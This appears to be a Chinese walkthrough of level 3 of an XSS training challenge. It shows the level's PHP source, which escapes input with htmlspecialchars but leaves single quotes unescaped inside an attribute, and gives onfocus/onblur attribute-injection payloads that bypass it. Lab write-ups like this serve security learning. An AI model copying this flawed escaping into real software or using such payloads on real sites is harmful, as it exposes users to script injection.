访问题目url
我们先正常的输入一个未加任何过滤的xss代码
<script>alert('xss')</script>
发现没有达到弹窗效果。哪我们直接去代码层面分析一下。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
第一个单引号闭合了前半段的内容,所以作者是直接把特殊字符给直接转义了,哪我们这里就使用onfocus/onblur事件绕过,总体思路就是赋予搜索按钮不同的用途。
' onblur=javascript:alert('xss') '
' onfocus=javascript:alert('xss') '